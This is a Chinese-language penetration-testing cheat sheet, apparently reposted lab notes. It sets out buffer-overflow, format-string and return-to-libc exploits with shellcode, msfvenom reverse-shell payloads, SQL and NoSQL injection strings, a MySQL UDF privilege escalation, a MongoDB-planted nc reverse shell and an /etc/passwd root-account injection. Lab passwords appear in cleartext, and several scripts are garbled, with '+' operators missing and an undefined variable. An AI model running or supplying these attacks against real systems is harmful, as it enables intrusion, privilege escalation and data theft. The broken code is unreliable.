2.、如果密文为数字 字母构成,可以尝试rot13(常用)或者rotX(如果Base解出来的是乱码,可以尝试一下rot-13解码)

3、如果密文有“%”,形式为“%xx”和“%uxxxx”,字符范围又是十六进制的“0-F”,判断是escape()函数编码,用unescape()解码;

4、如果密文由“[],(),{}, ,!”字符组成的编码通常就是通过Jother解码,可以使用Chrome浏览器对其进行解码,直接将需要解密的内容丢到 Console 回车就OK!

5,如果密文是一堆乱七八糟的繁体字,那么就是佛语加密
佛语前边要(中文冒号)加上“佛曰:”或者“ 如是我闻:”
https://www.keyfc.net/bbs/tools/tudoucode.aspx

七、(代完善)缓冲区溢出专题

windows缓冲区溢出

ID分析

  1. 需要用到三个脚本
Fuzzer.py(造成溢出)

#!/usr/bin/env python3
import socket, time, sys
ip = "MACHINE_IP"
port = 1337
timeout = 5
prefix = "OVERFLOW1 "
string = prefix   "A" * 100
while True:
  try:
    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
      s.settimeout(timeout)
      s.connect((ip, port))
      s.recv(1024)
      print("Fuzzing with {} bytes".format(len(string) - len(prefix)))
      s.send(bytes(string, "latin-1"))
      s.recv(1024)
  except:
    print("Fuzzing crashed at {} bytes".format(len(string) - len(prefix)))
    sys.exit(0)
  string  = 100 * "A"
  time.sleep(1)
exp.py(实际产生攻击效果)

import socket
ip = "192.168.43.57"
port = 1337
prefix = "OVERFLOW1 "
offset = 0(溢出点)
overflow = "A" * offset
retn = ""(先是四个b,再是jmp)
padding = ""  (最后一步填充 "\x90" * 16)
payload = ""
postfix = ""
buffer = prefix   overflow   retn   padding   payload   postfix
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
  s.connect((ip, port))
  print("Sending evil buffer...")
  s.send(bytes(buffer   "\r\n", "latin-1"))
  print("Done!")
except:
  print("Could not connect.")
badchar.py(坏字符相关)

for x in range(1, 256):
  print("\\x"   "{:02x}".format(x), end='')
print()
  1. 造成溢出(使用fuzzer.py)(并检验eip有没有被全覆盖)
  2. 找溢出点
msf-pattern_create -l 2400(生成多400位的检验字符)(并且放到exp.py)
msf-pattern_offset -l 2400 -q 【eip】(把返回的eip拿来检验)
  1. 找坏字符(用badchar.py生成,mona配合)
!mona bytearray -b "\x00"
就这样每找出来一个坏字符,就重新生成一个不包括他的对比字典
!mona bytearray -b "\x00\x07"
下面这条命令用来对比(最后面的是esp的值,根据自己的更改)
!mona compare -f C:\mona\oscp\bytearray.bin -a 00DCFA28
  1. 找jmp
!mona jmp -r esp -cpb "\x00\x07\x2e\xa0" 
后面的是刚才的坏字符
找出来的随便选一个就行,倒过来写到exp.py的retn
而后写入nop空字符 "\x90" * 16
  1. 生成payload
msfvenom -p windows/shell_reverse_tcp LHOST= 192.168.247.130 LPORT=4444 EXITFUNC=thread -b "\x00\x07\x2e\xa0" -f c

填入执行即可
linux 64位
1. 查函数
查询是否存在溢出使用strings,看看有没有溢出函数

2. 分析服务
netstat -ant   
nc 127.0.0.1 7788   

3. 对agent初步检查(gdb中)或使用现成的工具
```bash
	(1)checksec    //检查安全设置(2)查看随机化设置:
	cat /proc/sys/kernel/randomize_va_space     
	0 = 关闭
	1 = 半随机。
	2 = 全随机。
存在随机化需要验证md5,切记

4.分析本地agent
使用ltrace(跟踪进程调用库函数的情况)查看文件信息:然后随便输入一个id(这里是因为打开文件需要密码)

5.查找溢出点
```bash
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 200 
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 41366641  

6.查找偏移量覆盖
python -c 'print "A" * 168   "B" * 4'
python -c 'print "A" * 168   "B" * 4   "CCCCCCCCCCCCCCCC"'

7.查找下一跳
gdb-peda$ jmpcall eax
0x8048563 : call eax
或者:asmsearch "jmp eax"
asmsearch "call eax"

8.查找坏字符
方法同windows

9.编写exp
msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.162.1 LPORT=8888 -f python -b "\x00\x0a\x0b"


========================EXP如下===============

----------------------------------------------
import socket
rong = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  # 面向网络的套接字
rong.connect(('10.211.55.36', 7788))  # 连接
client.recv(512)
rong.send("48093572\n")  # 发送密码,并按enter
client.recv(512)
rong.send("3\n")   # 选择选项 3 并输入
client.recv(512)

# shellcode from msfvenom  msf的shellcode木马
buf =  b""
buf  = b"\xdb\xda\xd9\x74\x24\xf4\xbb\x99\x95\x96\x1f\x58\x33"
buf  = b"\xc9\xb1\x12\x31\x58\x17\x83\xe8\xfc\x03\xc1\x86\x74"
buf  = b"\xea\xc0\x73\x8f\xf6\x71\xc7\x23\x93\x77\x4e\x22\xd3"
buf  = b"\x11\x9d\x25\x87\x84\xad\x19\x65\xb6\x87\x1c\x8c\xde"
buf  = b"\x1d\x0c\x59\x0d\x4a\xb0\xa6\x2b\x80\x3d\x47\xfb\xf2"
buf  = b"\x6d\xd9\xa8\x49\x8e\x50\xaf\x63\x11\x30\x47\x12\x3d"
buf  = b"\xc6\xff\x82\x6e\x07\x9d\x3b\xf8\xb4\x33\xef\x73\xdb"
buf  = b"\x03\x04\x49\x9c"

# padding  填充字符
buf  = "A" * ([溢出点] - len(buf))

# call eax gadget 调用eax jmp
buf  = "\x63\x85\x04\x08\n"
rong.send(buf)
----------------------------------------------
(待完善)linux 64位(存在spawn)

注意B得高位地址

1. 查询溢出函数
strings adminhelper
或
disas main   ---查看main函数
或
gdb adminhelper
info functions

2. 下断点
gdb adminhelper
(gdb) break main    ----下断点main处
Breakpoint 1 at 0x817
(gdb) run    ----运行
Starting program: /home/pinky/adminhelper 

3. 找spawn
(gdb) jump spawn     ----查看寄存器
Continuing at 0x5555555547d4.
disas spawn
在第一个压栈(push)的数据可以看到下面的地址
0x00005555555547d0 < 0>:	push   %rbp
得到sapwn地址\xd0\x47\x55\x55\x55\x55
格式字符串-缓冲区溢出提权
1.制造溢出
./PSMCCLI $(python -c 'print "A"*2000')   --如果整数无法溢出,那就试试字符
./PSMCCLI %x

2. 检查安全机制
hardening-check ./PSMCCLI

3. 拆解函数
基本上都是要找到printf的下一个函数
disas main   --而后一层一层的拆解找printf

4. 查找待写入地址
就是printf的下一个函数
disas putchar   -----取第一个值

5. 生成payload并写入环境变量
写入环境变量是普遍方法
http://shell-storm.org/shellcode/files/shellcode-827.php

export SPAWN=$(python -c "print '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80'")

6. 定位shellcode
---------------------getenvaddr.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main(int argc, char *argv[]) {
	char *ptr;

	if(argc < 3) {
		printf("Usage: %s <environment variable> <target program name>\n", argv[0]);
		exit(0);
	}
	ptr = getenv(argv[1]); /* get env var location */
	ptr  = (strlen(argv[0]) - strlen(argv[2]))*2; /* adjust for program name */
	printf("%s will be at %p\n", argv[1], ptr);
}
--------------------
gcc -o getenvaddr getenvaddr.c
chmod  x getenvaddr
./getenvaddr SPAWN /usr/local/bin/PSMCCLI   ---这个SPAWN就是之前写入环境变量的变量名


7. 对齐内存
/usr/local/bin/PSMCCLI AAAABBBBC$(python -c "print 'x.'*200")
直到可以在内存中看到完整的四个41后面紧跟着4个42

8. 找到AB偏移量
sub甩进去可以看到有多少字符,然后在42后面截断。然后字符数量除以6再减2就是A的地址
或者用for循环
or i in {1..200}; do echo -n $i ; /usr/local/bin/PSMCCLI AAAABBBBBCCCC%$i\$x ; done | grep 41414141 


9. 使得AB输出对齐
/usr/local/bin/PSMCCLI AAAABBBBCCC6\$x7\$x
136和137是刚才算出来的
$x和$0x或者其他   ----进行调试
C或者CC或者CCC    --进行调试 

10.地址拆分--前半段(类似于对齐)
待覆盖地址:0x0804a01c
低地址:0x0804a01c
高地址:0x0804a01e(32位初始地址 2)
 
这里是颠倒的因为是小端
/usr/local/bin/PSMCCLI $(printf "\x1c\xa0\x04\x08\x1e\xa0\x04\x08")CC6\$x7\$x
能看到C和a01c。a01e即可

11. 地址拆分--后半段
shellcode地址:0xbffffe93
1)低地址减去ABC共11个字符=fe93-11=49516
2)高地址进一位:bfff->1bfff 而后减去低地址=65160(由于整数溢出的原理)
/usr/local/bin/PSMCCLI $(printf "\x1c\xa0\x04\x08\x1e\xa0\x04\x08")CCCe160u7\$hnI516u8\$0hn

带预选项的格式化缓冲区溢出

system() = 0x40069060 9060低位。4006高位

1. 关闭安全机制
cat /proc/sys/kernel/randomize_va_space
ulimit -s
ulimit -s unlimited

2. 查找溢出点
用%x等测试每一个可以输出东西的点位

3. 找system和printf的内存地址
	1. system
	 gdb my_first
	b main
	run
	print system
	2. printf
	objdump -R ./my_first
	
4. 利用printf制作自动语句
printf '1\n1\n1\n4\n' | ./my_first
调试直至成功

5. 对齐内存
printf '1\n1\nAAAA.%%8$x%%x\n4\n' | ./my_first

6. 得漏洞函数初始16进制地址
printf '1\n1\n\xfc\x9b\x04\x08%%8$n' > shell
x/x 0x08049bfc

7. 写低位
用system低位减去漏洞函数初始低位
printf '1\n1\n\xfc\x9b\x04\x08%6956u%%8$n' > shell
gdb ./my_first
r < shell

8. 写高位
printf加2写入低位数
printf '1\n1\n\xfc\x9b\x04\x08\xfe\x9b\x04\x08%6956u%%8$n%%9$n' > shell
gdb ./my_first
r < shell

9. 修改变化的低位(少加多减)
覆盖的低位可能发生变化,按照相差数值加减低位数即可 

10. 再写高位
system高位加一位减去覆盖结果而后按照差值加减

11. 最终payload(高位数是44966)
printf ‘1\n1\n\xfc\x9b\x04\x08\xfe\x9b\x04\x08%6952u%%8$n%D966u%%9$n’ > shell
Return to libc(开启了nx)

32位,rop文件

1. checksec(检查发现开启了nx)
2. 找偏移量
pattern create 100
r ''
pattern offset 
3. 验证填充
python -c 'print("A" * 52   "BBBB")'
4. 找bin/sh地址
strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh
5. 找二进制文件地址
ldd rop
6. 相加得到shell地址
7. 找函数起止
gdb-peda$ p system
gdb-peda$ p exit
8. 构建函数
#!/usr/bin/python

import struct

buf = "A" * 52
system = struct.pack("I" ,0xb7e53da0)
exit = struct.pack("I" ,0xb7e479d0)
shell = struct.pack("I" ,0xb7f74a0b)
print buf   system   exit   shell
  1. 执行
./rop `python /tmp/shell.py`

八、数据库专题

url sql注入
  1. 测试‘
  2. cod是网页参数,开始联合注入测试,如下
cod=100 UNION SELECT 1,2,3,4,5,6,7;-- -
mysql注入手动获取信息

例子:2,3,4,5注入点,基于网页url(cod=100)的前期参数错传导致报错

1. 爆数据库
SELECT 1, group_concat(schema_name), 3, 4, 5, 6, 7 from information_schema.schemata;-- -
2. 爆表
Show Tables in hotel	SELECT 1, group_concat(table_name), 3, 4, 5, 6, 7 from information_schema.tables where table_schema='hotel' ;-- -

3. 爆列
Show Columns in room	SELECT 1, group_concat(column_name), 3, 4, 5, 6, 7 from information_schema.columns where table_name='room';-- -

4. 获取信息
SELECT 1, user,3, 4,password, 6, 7 from mysql.user;-- -
DBadmin

这个例子用于sql注入读取文件

uname=' UNION select 1,load_file('/etc/passwd'),3,4,5,6;-- -&password=1
UDF提权

要注意先要进到/var/www/目录底下,这里面才有信息

dpkg -l | grep mysql   --查看历史安装包版本,就知道写入条件的判断依据了
1.看一下是否满足写入条件:
	show global variables like 'secure%';
	 ------------------ ------- 
	| Variable_name    | Value |
	 ------------------ ------- 
	| secure_auth      | OFF   |
	| secure_file_priv |       |
	 ------------------ ------- 
	2 rows in set (0.00 sec)
	
	1)当 secure_file_priv 的值为 NULL ,表示限制 mysqld 不允许导入|导出,此时无法提权
	2)当 secure_file_priv 的值为 /tmp/ ,表示限制 mysqld 的导入|导出只能发生在 /tmp/目录下,此时也无法提权
	3)当 secure_file_priv 的值没有具体值时,表示不对 mysqld 的导入|导出做限制,此时可提权!
	如果是 MySQL >= 5.1 的版本,必须把 UDF 的动态链接库文件放置于 MySQL 安装目录下的 lib\plugin 文件夹下文件夹下才能创建自定义函数。
	在 MySQL 5.5 之前 secure_file_priv 默认是空,这个情况下可以向任意绝对路径写文件
	在 MySQL 5.5之后 secure_file_priv 默认是 NULL,这个情况下不可以写文件

2.查看插件目录:
	show variables like '%plugin%';
	 --------------- ------------------------ 
	| Variable_name | Value                  |
	 --------------- ------------------------ 
	| plugin_dir    | /usr/lib/mysql/plugin/ |
	 --------------- ------------------------ 
	1 row in set (0.00 sec)

3.查看能否远程登陆:
	use mysql;
	select user,host from user;
	 ------------------ ----------- 
	| user             | host      |
	 ------------------ ----------- 
	| root             | 127.0.0.1 |
	| root             | ::1       |
	| debian-sys-maint | localhost |
	| root             | localhost |
	| root             | raven     |
	 ------------------ ----------- 
	5 rows in set (0.00 sec)
	发现这里root用户不允许远程登陆,因此不能利用MSF提权。

	谷歌搜索:mysql 5.x UDF exploit  或者  searchsploit udf 
	gcc -g -c 1518.c   ---GCC编译.o文件
	gcc -g -shared -o rong.so 1518.o -lc
	-g 生成调试信息
	-c 编译(二进制)
	-shared:创建一个动态链接库,输入文件可以是源文件、汇编文件或者目标文件。
	-o:执行命令后的文件名
	-lc:-l 库 c库名
	传递exp
	开启python的传输服务
	wget http://10.211.55.19:8081/dayu.so  --靶机执行
	
	show databases;
	use mysql
	select database();

4. 进入数据库创建数据表rong:
	create table rong(line blob);  --这里longblob根据大小来分配
	类型           大小(单位:字节) 
	TinyBlob      最大 255 
	Blob          最大 65K 
	MediumBlob    最大 16M 
	LongBlob      最大 4G 

5. 插入数据文件:
	insert into rong values(load_file('/tmp/rong.so'));
	或
	insert into rong values(load_file('/var/www/html/rong.so'));	
	rong表成功插入二进制数据,然后利用dumpfile函数把文件导出,outfile 多行导出,dumpfile一行导出
	outfile会有特殊的转换,而dumpfile是原数据导出!
	
6. 新建存储函数:
	select * from rong into dumpfile '/usr/lib/mysql/plugin/rong.so';    ---把这个rong.so导入到插件库中
	创建自定义函数do_system,类型是integer,别名(soname)文件名字,然后查询函数是否创建成功:
	create function do_system returns integer soname 'rong.so';

7. 查看以下创建的函数:
	select * from mysql.func;
	调用do_system函数来给find命令所有者的suid权限,使其可以执行root命令:
	select do_system('chmod u s /usr/bin/find');

8. 执行find命令
	使用find执行 shell
	touch rong
	find rong -exec "/bin/sh" \;
	或者:find rong -exec "id" \;
mongodb正常查询方法

客户端:mongo

mongo -u mark -p 5AYRft73VtFpc84k scheduler   ---db 查看库信息
show collections       ----show tables;查看已存在的表
db.tasks.find({})     ----查看一下表内容,现在表中无文档
db.tasks.insert({cmd: "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.247.129 4444 >/tmp/f"})   ----将反弹shell插入文档
db.getCollectionNames() //搜集user
db.users.update({"_id": "CNT3t4RJkHZFegE3m"}, { $set: { "roles" : ["admin"]}}) //利用已经是admin用户给其他用户赋权

mongodb脚本爆破

如果存在sql注入,直接爆,没什么说的

https://raw.githubusercontent.com/an0nlk/Nosql-MongoDB-injection-username-password-enumeration/master/nosqli-user-pass-enum.py
python mongo.py -m post -up username -pp password -op login:login -u http://staging-order.mango.htb/ -ep username

python mongo.py -m post -up username -pp password -op login:login -u http://staging-order.mango.htb/ -ep password
nosql 注入检测

手测能否注入的列表

https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/NoSQL Injection#exploits

如果存在,就参照上一条

如果客户机中没有mysql客户端

mysql[tab][tab]
查看所有可用的mysql工具

也许会发现mysqldump
而它的用法/Magic数据库名

mysqldump --user=theseus --password=iamkingtheseus --host=localhost Magic
如果是一个废shell

加上-e直接执行命令

mysql -u drupaluser -pCQHEy@9M*m23gBVj -e 'show databases;'
sql注入模糊测试
ffuf -X POST -u http://10.10.11.101/administrative -d 'uname=FUZZ&password=0xdf' -w /usr/share/seclists/Fuzzing/SQLi/Generic-SQLi.txt -x http://127.0.0.1:8080 -H "Content-Type: application/x-www-form-urlencoded" --fw 206

九、需要特殊注意的二进制提权

关于不知用途的二进制文件

一定要
ltrace 【】
然后找函数,看看绝对路径有没有,能不能挟持

journalctl
/usr/bin/sudo /usr/bin/journalctl -n5 -unostromo.service
!/bin/sh  

/usr/bin/sudo /usr/bin/journalctl -n5 -unostromo.service
这个是因为在调用他的脚本中就输入了如此,我们只是不执行journalctl之后的命令而是执行!/bin/sh  

十、容器相关

查看ip

查看ip等(如果没有ifconfig的命令)

cat /proc/net/fib_trie
枚举docker漏洞
https://github.com/stealthcopter/deepce

bash deepce.sh
安装缺少包(docker)
cat /etc/os-release 
得到
Debian 10 (buster):
这个版本的安装版本如下,其他的版本可以自行研究
wget http://http.us.debian.org/debian/pool/main/libc/libcap2/libcap2-bin_2.25-2_amd64.deb
wget http://http.us.debian.org/debian/pool/main/libc/libcap2/libcap2_2.25-2_amd64.deb

而后安装依赖
dpkg -i libcap2_2.25-2_amd64.deb 
dpkg -i libcap2-bin_2.25-2_amd64.deb 、
cap_dac_read_search滥用

脚本在这里,需要编译(我用的2018kali,2022的会报错)编译成priv

https://book.hacktricks.xyz/linux-hardening/privilege-escalation/linux-capabilities#cap_dac_override

而后写入自己的密码

openssl passwd -1 rong
echo 'rong:$1$Dr9BtZXw$VZ7J.H58FZFtxZi3QdqWF.:0:0:pwned:/root:/bin/bash' >> passwd  
./priv /etc/passwd passwd

这篇好文章是转载于:学新通技术网

  • 版权申明: 本站部分内容来自互联网,仅供学习及演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系,请提供相关证据及您的身份证明,我们将在收到邮件后48小时内删除。
  • 本站站名: 学新通技术网
  • 本文地址: /boutique/detail/tanhgfeaee
系列文章
更多 icon
同类精品
更多 icon
继续加载